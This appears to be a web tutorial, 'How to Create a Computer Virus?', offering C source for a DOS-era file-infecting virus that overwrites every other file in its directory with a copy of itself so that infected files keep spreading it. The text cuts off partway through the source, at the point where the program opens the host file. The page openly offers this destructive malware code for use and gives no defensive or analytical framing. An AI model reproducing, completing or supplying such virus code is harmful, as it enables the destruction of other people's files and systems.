How to Create a Computer Virus?
How to Create a Computer Virus? This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory. Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on. Here’s the source code of the virus program: #include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*) while(!done) { virus=fopen(_argv[0],"rb"); host=fopen(ffblk.ff_name